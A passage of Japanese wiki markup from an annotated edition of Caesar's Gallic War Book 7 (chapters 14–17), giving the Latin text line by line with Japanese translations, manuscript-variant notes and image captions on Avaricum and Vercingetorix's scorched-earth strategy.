*hoc spatio ab Boia quoque versus, quo [[wikt:en:pabulandi#Verb|pabulandi]] causa [[wikt:en:adire#Latin|adire]] posse [[wikt:en:videantur|videantur]]. 
**[[w:ボイイ族|ボイイー族]]のところから四方八方へ糧秣徴発するために赴くことができると思われる領域では。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：主要写本&amp;omega; にある ab Boia「ボイイー族のところから」は、&lt;br&gt;　　　　現代では「街道から」ab via と修正読みされることが多い。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quoque#Latin|quōque]] [[wikt:en:versus#Adverb|versus]] ＝ [[wikt:en:quisque#Latin|quōquō]] versus「あらゆる方向へ」）&lt;/span&gt;
[[画像:Eglise_saint_parize_le_chatel.jpg|thumb|right|250px|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイー族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Harum ipsis rerum copiam [[wikt:en:suppeto#Latin|suppetere]], 
**&lt;small&gt;（ガッリア勢）&lt;/small&gt;自身には、これらの物は、豊富に貯えてある。
*quod quorum in finibus bellum [[wikt:en:geratur|geratur]], eorum [[wikt:en:ops#Noun_4|opibus]] [[wikt:en:subleventur|subleventur]]; 
**──というのは、戦争が遂行される領土内の者たちの、彼らの助力に支えられているからだ。──
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Romanos &lt;u&gt;aut&lt;/u&gt; [[wikt:en:inopia#Latin|inopiam]] non [[wikt:en:laturus#Latin|laturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**ローマ人たちは、あるいは&lt;small&gt;（糧食の）&lt;/small&gt;欠乏に耐えられないであろうし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:aut#Latin|aut]] ～ aut …「あるいは～あるいは…」）&lt;/span&gt;
*&lt;u&gt;aut&lt;/u&gt; magno &lt;u&gt;cum&lt;/u&gt; periculo longius &lt;u&gt;ab&lt;/u&gt; castris [[wikt:en:processurus#Latin|processuros]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;; 
**あるいは大きな危険とともに陣営からより遠くに進み出るであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：cum は、&amp;rho;系写本・写本Tの記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本・写本Vにはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は、&amp;alpha;系・&amp;rho;系写本・写本Vの記述で、写本Tでは a となっている。）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; neque [[wikt:en:interesse#Latin|interesse]], ipsos&lt;u&gt;ne&lt;/u&gt; [[wikt:en:interficiant|interficiant]], [[wikt:en:impedimentum#Latin|impedimentis]]&lt;u&gt;&lt;nowiki&gt;ne&lt;/nowiki&gt;&lt;/u&gt; [[wikt:en:exuant|exuant]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;当人たちを殺戮するか、輜重を奪い取るか、&lt;small&gt;（どちらであろうが）&lt;/small&gt;違いはない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] は疑問小辞。～ -ne, … -ne 「～か、…か」）&lt;/span&gt;
*quibus [[wikt:en:amissus#Latin|amissis]] bellum [[wikt:en:geri#Latin|geri]] non [[wikt:en:possit|possit]]. 
**それら&lt;small&gt;〔輜重〕&lt;/small&gt;を失えば、戦争を遂行することができないのだから。
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Praeterea oppida [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]], 
**さらに、&lt;small&gt;（以下のような）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]は焼かれなければならない。
*quae non [[wikt:en:munitio#Latin|munitione]] et loci natura &lt;u&gt;ab omni&lt;/u&gt; sint &lt;u&gt;periculo&lt;/u&gt; [[wikt:en:tutus#Latin|tuta]], 
**防塁や地勢によってあらゆる危険から守られていない&lt;small&gt;（城塞都市は）&lt;/small&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab [[wikt:en:omni#Latin|omni]] [[wikt:en:periculum#Latin|periculo]] 「あらゆる危険から」）&lt;/span&gt;
*&lt;u&gt;neu&lt;/u&gt; suis sint ad &lt;u&gt;detrectandam&lt;/u&gt; [[wikt:en:militia#Latin|militiam]] [[wikt:en:receptaculum#Latin|receptacula]] 
**麾下の者たちにとっては&lt;small&gt;（城塞都市が）&lt;/small&gt;[[w:兵役逃れ|兵役を忌避すること]]のための隠れ場所になることがないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:neu#Latin|neu]] は &amp;alpha;系写本の記述で、&amp;beta;系写本では [[wikt:en:ne#Latin|ne]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:detrectandam|detrectandam]] は &amp;alpha;系・&amp;rho;系写本の表記で、&amp;pi;系写本では [[wikt:en:detractandam|detractandam]] となっている。）&lt;/span&gt;
*neu [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:propositus#Latin|proposita]] ad [[wikt:en:copia#Latin|copiam]] [[wikt:en:commeatus#Noun|commeatus]] [[wikt:en:praeda#Latin|praedam]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tollendus#Latin|tollendam]], 
**ローマ人たちにとって&lt;small&gt;（城塞都市が）&lt;/small&gt;豊富な物資や戦利品を奪うための置き場所ともならないように。
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Haec si [[wikt:en:gravis#Latin|gravia]] aut [[wikt:en:acerbus#Latin|acerba]] [[wikt:en:videantur|videantur]], 
**もし、これら&lt;small&gt;（の作戦）&lt;/small&gt;が厳しい、または苦しいと見えるとしても、
*multo illa [[wikt:en:graviter#Latin|gravius]] &lt;u&gt;aestimare&lt;/u&gt;, [[wikt:en:liber#Noun_6|liberos]], [[wikt:en:coniunx#Latin|coniuges]] in [[wikt:en:servitus#Latin|servitutem]] [[wikt:en:abstrahi|abstrahi]], ipsos [[wikt:en:interfici|interfici]]; 
**それより、子供や配偶者たちが奴隷状態で連れ去られ、自身が殺されることの方が、はるかに厳しいと判断されるべきだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:aestimare|aestimare]] だが、 &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:aestimari|aestimari]] [[wikt:en:debere|debere]] となっている。）&lt;/span&gt;
*quae sit [[wikt:en:necesse#Latin|necesse]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:victus#Participle|victis]].
**それらのことは、打ち負かされた者たちには、起こることが必然なのである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===15節===
[[画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。]]
[[画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/15節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;

;焦土戦術開始、しかしアウァーリクムの防衛を決定
:　
;　　　焦土戦術として、ビトゥリゲース族の街々が焼かれる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Omnium [[wikt:en:consensus#Latin|consensu]] 
**&lt;small&gt;（会合の参加者）&lt;/small&gt;全員の合意により
*hac [[wikt:en:sententia#Latin|sententia]] [[wikt:en:probatus#Latin|probata]], 
**&lt;small&gt;（ウェルキンゲトリークスの）&lt;/small&gt;この意向が承認されると、
*uno die [[wikt:en:amplius|amplius]] [[wikt:en:viginti|viginti]]&lt;sub&gt; (XX)&lt;/sub&gt; [[wikt:en:urbs#Latin|urbes]] [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:incenduntur|incenduntur]]. 
**一日で、20より多いビトゥリゲース族の街々が焼かれる。
:　
;　　　ほかの諸部族の街々も焼かれる
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc idem fit in reliquis [[wikt:en:civitas#Latin|civitatibus]]: 
**これと同じことが、ほかの諸部族でも行なわれて、
*in omnibus partibus 
**あらゆる方面において、
*[[wikt:en:incendium#Latin|incendia]] [[wikt:en:conspiciuntur|conspiciuntur]]; 
**炎上が望見される。
*quae &lt;u&gt;etsi&lt;/u&gt; magno cum [[wikt:en:dolor#Latin|dolore]] omnes [[wikt:en:ferebant|ferebant]], 
**それらの皆が大きな悲嘆とともに耐えていたとしても、
*&lt;u&gt;tamen&lt;/u&gt; hoc sibi [[wikt:en:solacium#Latin|solacii]] [[wikt:en:proponebant|proponebant]], 
**しかし、自分らにとっての&lt;small&gt;（以下の）&lt;/small&gt;慰めを抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …&lt;br&gt;　　　　「～としても、にもかかわらず…」）&lt;/span&gt;
*quod se prope [[wikt:en:exploratus#Latin|explorata]] [[wikt:en:victoria#Latin|victoria]] 
**勝利はほぼ確実なものとされて、
*celeriter [[wikt:en:amissus#Latin|amissa]] [[wikt:en:reciperaturus#Latin|reciperaturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; 
**失ったものを速やかに回復するであろう、
*[[wikt:en:confidebant|confidebant]]. 
**と確信していたことである。
:　
;　　　アウァーリクムは、焦土戦術か、それとも防衛すべきか？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:deliberatur|Deliberatur]] de [[wikt:en:Avaricum#Latin|Avarico]] in [[wikt:en:communis#Latin|communi]] [[wikt:en:concilium#Latin|concilio]], [[wikt:en:incendi#Latin|incendi]] &lt;u&gt;placeret&lt;/u&gt; an [[wikt:en:defendi#Latin|defendi]]. 
**合同の会合において、アウァーリクムについて (も) 焼き討ちが良いか、あるいは防衛か、が吟味される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:placeret|placeret]]&lt;sub&gt; (接続法･未完了過去)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:placeat|placeat]]&lt;sub&gt; (接続法･現在)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　ビトゥリゲース族が、要害であるアウァーリクムの防衛を懇願する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:procumbunt|Procumbunt]] omnibus Gallis ad pedes [[wikt:en:Bituriges#Latin|Bituriges]], 
**&lt;small&gt;（会合に参加していた）&lt;/small&gt;すべてのガッリア人の足元へ、ビトゥリゲース族の者たちはひれ伏す。
*ne [[wikt:en:pulcherrimus#Latin|pulcherrimam]] prope &lt;u&gt;[[wikt:en:totus#Latin|totius]] Galliae&lt;/u&gt; [[wikt:en:urbs#Latin|urbem]], quae &lt;u&gt;et&lt;/u&gt; [[wikt:en:praesidium#Latin|praesidio]] et [[wikt:en:ornamentum#Latin|ornamento]] sit [[wikt:en:civitas#Latin|civitati]], 
**ほぼ全ガッリアの街々で最も美しいもの、部族にとっては要害でも誉れでもあるものを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：totius Galliae は &amp;alpha;系写本の語順で、&amp;beta;系写本では Galliae totius となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は &amp;beta;系写本にはあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*suis manibus [[wikt:en:succendo#Latin|succendere]] [[wikt:en:cogerentur|cogerentur]]; 
**自分たちの手で燃やすことを強いられないように、と（懇願した）。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ cogerentur；～を強いられないように）&lt;/span&gt;
:　
;　　　アウァーリクムの地の利
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; facile se loci natura [[wikt:en:defensurus#Latin|defensuros]] [[wikt:en:dicunt|dicunt]], 
**自分たちは&lt;small&gt;（アウァーリクムを）&lt;/small&gt;地勢によって容易に防衛するだろう、と述べる。
*quod prope ex omnibus partibus [[wikt:en:flumen#Latin|flumine]] et [[wikt:en:palus#Latin|palude]] [[wikt:en:circumdatus#Latin|circumdata]] 
**というのは&lt;small&gt;（アウァーリクムは）&lt;/small&gt;ほぼあらゆる方向から川や沼地で囲まれており、
*unum habeat et [[wikt:en:perangustus#Latin|perangustum]] [[wikt:en:aditus#Latin|aditum]]. 
**一つだけ、非常に狭い進入路を持っているからだ。
[[画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。]]
:　
;　　　アウァーリクムの防衛が認められる
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:datur#Latin|Datur]] [[wikt:en:petens#Latin|petentibus]] [[wikt:en:venia#Latin|venia]] 
**&lt;small&gt;（アウァーリクムの防衛を）&lt;/small&gt;求める者たちに許可が与えられる。
*[[wikt:en:dissuadens#Latin|dissuadente]] primo [[wikt:en:Vercingetorix#Latin|Vercingetorige]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は当初は思い止まらせていたが、
*post [[wikt:en:concedens#Latin|concedente]] et [[wikt:en:prex#Latin|precibus]] ipsorum et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]]. 
**後には、彼ら当人の懇願にも、民衆への哀れみにも、譲歩した。
*[[wikt:en:defensor#Latin|Defensores]] [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:idoneus#Latin|idonei]] [[wikt:en:deliguntur|deliguntur]].
**城塞都市の適切な防衛者たちが選ばれる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===16節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/16節]]　{{進捗|00%|2026-03-22}}&lt;/span&gt;
;アウァーリクムをめぐる両軍の駆け引き
:　
;　　　ウェルキンゲトリークスが、アウァーリクムから16マイル離れたところに宿営する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] [[wikt:en:minor#Latin|minoribus]] Caesarem [[wikt:en:iter#Latin|itineribus]] [[wikt:en:subsequitur|subsequitur]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルを緩やかな行軍で追尾して、
*et locum [[wikt:en:castra#Latin|castris]] [[wikt:en:eligit#Latin|deligit]] [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:munitus#Latin|munitum]] 
**沼地や森林で防御された地点を陣営のために選んだ。
*ab [[wikt:en:Avaricum#Latin|Avarico]] longe milia passuum [[wikt:en:sedecim#Latin|sedecim]]&lt;sub&gt; (XVI)&lt;/sub&gt;. 
**アウァーリクムから16&lt;u&gt;ローママイル&lt;/u&gt;隔たっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、16マイルは約24 km）&lt;/span&gt;
:　
;　　　ウェルキンゲトリークスが、斥候を放ってアウァーリクムを探り、部下たちに指図する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ibi per [[wikt:en:certus#Latin|certos]] [[wikt:en:explorator#Latin|exploratores]] 
**そこで、一定の斥候たちを通して、
*in [[wikt:en:singulus#Latin|singula]] diei tempora, quae ad [[wikt:en:Avaricum#Latin|Avaricum]] &lt;u&gt;agerentur&lt;/u&gt;, [[wikt:en:cognoscebat|cognoscebat]] 
**日中の毎時、アウァーリクム近傍で行なわれていることを探知して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:agerentur|agerentur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:gererentur|gererentur]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quis#Latin|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:imperabat|imperabat]]. 
**&lt;small&gt;（彼自身が）&lt;/small&gt;なされることを欲していることを&lt;small&gt;（麾下の者たちに）&lt;/small&gt;命令していた。
:　
;　　　ウェルキンゲトリークスとローマ勢の糧秣調達をめぐる攻防
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Omnes nostras [[wikt:en:pabulatio#Latin|pabulationes]] [[wikt:en:frumentatio#Latin|frumentationes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:observabat|observabat]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:糧秣|秣や糧食]]の徴発の一部始終を注視していて、
*[[wikt:en:dispersus#Latin|dispersos]]&lt;nowiki&gt;que&lt;/nowiki&gt;, cum longius necessario [[wikt:en:procederent|procederent]], [[wikt:en:adoriebatur|adoriebatur]] 
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;分散して、やむを得ずにはるか遠くに進み出たときに、&lt;small&gt;（ガッリア勢が）&lt;/small&gt;襲いかかって、
*[[wikt:en:magnus#Latin|magno]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:incommodum#Latin|incommodo]] [[wikt:en:adficiebat|adficiebat]], 
**&lt;small&gt;（ローマ勢に）&lt;/small&gt;大きな損害を与えていた。
*[[wikt:en:etsi#Latin|etsi]], quantum [[wikt:en:ratio#Latin|ratione]] [[wikt:en:provideri|provideri]] [[wikt:en:poterat|poterat]], ab nostris [[wikt:en:occurrebatur|occurrebatur]], 
**とはいえ、できるかぎり用心する判断により&lt;small&gt;（敵の襲撃を）&lt;/small&gt;我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;によって阻止していた。
*ut [[wikt:en:incertus#Latin|incertis]] temporibus [[wikt:en:diversus#Latin|diversis]]&lt;nowiki&gt;que&lt;/nowiki&gt; itineribus [[wikt:en:iretur|iretur]].
**不確定な時間帯にまったく別々の道を行き来するというように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===17節===
[[画像:Carte_du_Cher.svg|thumb|right|250px|アウァーリクム、すなわち現在の[[w:ブールジュ|ブールジュ市]]（Bourges）のあるフランス・[[w:シェール県|シェール県]]の地図。中心にブールジュがあり、右下（南東）のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にボイイー族の首邑ゴルゴビナ（Gorgobina）があったと推定されている。右（東）隣の[[w:ニエーヴル県|ニエーヴル県]]（Nièvre）が[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/17節]]　{{進捗|00%|2026-03-28}}&lt;/span&gt;
;アウァーリクム攻囲に取りかかるローマ軍の糧秣欠乏
:　
;　　　カエサルが、アウァーリクム攻囲のための堡塁工事に着手
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:castra#Latin|Castris]] ad eam partem [[wikt:en:oppidum#Latin|oppidi]] [[wikt:en:positus#Participle|positis]] Caesar, 
**カエサルは、[[w:オッピドゥム|城塞都市]]の&lt;small&gt;（以下に述べるような）&lt;/small&gt;方面に陣営を設置して、
*quae [[wikt:en:intermissus#Latin|intermissa]] a flumine et a &lt;u&gt;paludibus&lt;/u&gt; 
**──&lt;small&gt;（その方面は）&lt;/small&gt;川や沼地により&lt;small&gt;（外部から）&lt;/small&gt;遮断されて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:paludibus|paludibus]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:palude#Latin|palude]] となっている。）&lt;/span&gt;
*[[wikt:en:aditus#Noun_3|aditum]], ut supra [[wikt:en:diximus#Latin|diximus]], [[wikt:en:angustus#Latin|angustum]] [[wikt:en:habebat|habebat]], 
**&lt;u&gt;前に述べたように&lt;/u&gt;、狭い進入路を持っているというものであるが、──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#15節|15節]]⑤項では、&lt;br&gt;　　　　ほぼあらゆる方向から川や沼地で囲まれており、&lt;br&gt;　　　　一つだけ、非常に狭い進入路を持っている、&lt;br&gt;　　　　と言及された。）&lt;/span&gt;
*[[wikt:en:agger#Latin|aggerem]] [[wikt:en:apparare#Latin|apparare]], 
**&lt;small&gt;（さらに）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:土塁|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を装備すること、
*[[wikt:en:vinea#Latin|vineas]] [[wikt:en:ago#Latin|agere]], 
**&lt;ruby&gt;&lt;rb&gt;[[w:ウィネア|工作小屋]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を駆動すること、
*[[wikt:en:turris#Latin|turres]] duas [[wikt:en:constituo#Latin|constituere]] [[wikt:en:coepit|coepit]]; 
**2つの&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を建てること、を始めた。
*nam [[wikt:en:circumvallo#Latin|circumvallare]] loci natura [[wikt:en:prohibebat|prohibebat]]. 
**なぜなら&lt;small&gt;（城塞都市を）&lt;/small&gt;堡塁で囲むことを地勢が妨げていたからだ。
&lt;div style=&quot;text-align:center;&quot;&gt;
{|
|-
|[[画像:Caesar's Gallic war; (Allen and Greenough's ed.) (1898) (14781415375).jpg|thumb|right|350px|城壁(図中の左端)を攻略するために築かれた&lt;ruby&gt;&lt;rb&gt;土塁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。左上には、両軍の&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が描かれている。]]
|[[画像:Bender - Vinea.JPG|thumb|right|350px|&lt;ruby&gt;&lt;rb&gt;工作小屋&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィネア&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;  [[wikt:en:vinea|vinea]] の復元画（[[ガリア戦記_第2巻#12節|第2巻12節]]で既出）。敵の矢玉などから身を守りながら城壁に近づくために用いられたと考えられている。]]
|}
&lt;/div&gt;
:　
;　　　カエサルが、同盟者であるボイイー族やハエドゥイー族に、糧秣徴発を促す
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; De re [[wikt:en:frumentarius#Adjective|frumentaria]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:糧秣|糧秣]]調達について、
*[[wikt:en:Boii#Latin|Boios]] atque [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:adhortari|adhortari]] non [[wikt:en:destitit|destitit]]; 
**[[w:ボイイ族|ボイイー族]]や[[w:ハエドゥイ族|ハエドゥイー族]]を鼓舞することを止めなかった。
*quorum [[wikt:en:alter#Latin|alteri]], quod [[wikt:en:nullus#Determiner|nullo]] [[wikt:en:studium#Latin|studio]] [[wikt:en:agebant|agebant]], non multum [[wikt:en:adiuvabant|adiuvabant]], 
**彼らのうち一方&lt;small&gt;〔ハエドゥイー族〕&lt;/small&gt;は、何らの努力を行なわなかったので、あまり助けにならなかった。
*[[wikt:en:alter#Latin|alteri]] non magnis [[wikt:en:facultas#Latin|facultatibus]], quod [[wikt:en:civitas#Latin|civitas]] erat [[wikt:en:exiguus#Latin|exigua]] et [[wikt:en:infirmus#Latin|infirma]], 
**他方&lt;small&gt;〔ボイイー族〕&lt;/small&gt;は、貧弱かつ無力な部族であったので、大した貯えもなく、
*celeriter quod [[wikt:en:habuerunt|habuerunt]] [[wikt:en:consumpserunt|consumpserunt]]. 
**早々と持っていたものを消費し切ってしまった。
:　
;　　　糧秣の欠乏が続くが、ローマの将兵たちが耐え抜く
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|Summa]] [[wikt:en:difficultas#Latin|difficultate]] rei [[wikt:en:frumentarius#Adjective|frumentariae]] [[wikt:en:adfectus#Latin|adfecto]] [[wikt:en:exercitus#Noun|exercitu]] 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;軍隊は糧秣調達の大いなる困難さに苦悩させられながらも、
*[[wikt:en:tenuitas#Latin|tenuitate]] [[wikt:en:Boii#Latin|Boiorum]], 
**──&lt;small&gt;（その困難は）&lt;/small&gt;ボイイー族の微力さ、
*[[wikt:en:indiligentia#Latin|indiligentia]] [[wikt:en:Haedui#Latin|Haeduorum]], 
**ハエドゥイー族の怠慢、
*[[wikt:en:incendium#Latin|incendiis]] [[wikt:en:aedificium#Latin|aedificiorum]], 
**&lt;small&gt;（敵勢による）&lt;/small&gt;家屋の焼き打ちによるものであったが、──
*usque eo ut [[wikt:en:complures#Determiner|complures]] dies [[wikt:en:frumentum#Latin|frumento]] [[wikt:en:miles#Latin|milites]] [[wikt:en:caruerint|caruerint]] 
**かなりの日々にわたって兵士たちは糧食を欠くまでになり、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:usque#Latin|usque]] eo ut ～「～まで」）&lt;/span&gt;
*et [[wikt:en:pecus#Latin|pecore]] ex [[wikt:en:longinquior#Latin|longinquioribus]] [[wikt:en:vicus#Latin|vicis]] [[wikt:en:adactus#Latin|adacto]] 
**かなり遠方の村々から家畜を駆り立てたので
*[[wikt:en:extremus#Latin|extremam]] [[wikt:en:fames#Latin|famem]] [[wikt:en:sustentarent|sustentarent]], 
**極限の飢えに耐え通すまでになったのであるが、
*[[wikt:en:nullus#Determiner|nulla]] tamen &lt;u&gt;vox est ab iis&lt;/u&gt; [[wikt:en:auditus#Latin|audita]] populi Romani [[wikt:en:maiestas#Latin|maiestate]] et [[wikt:en:superior#Latin|superioribus]] [[wikt:en:victoria#Latin|victoriis]] [[wikt:en:indignus#Latin|indigna]]. 
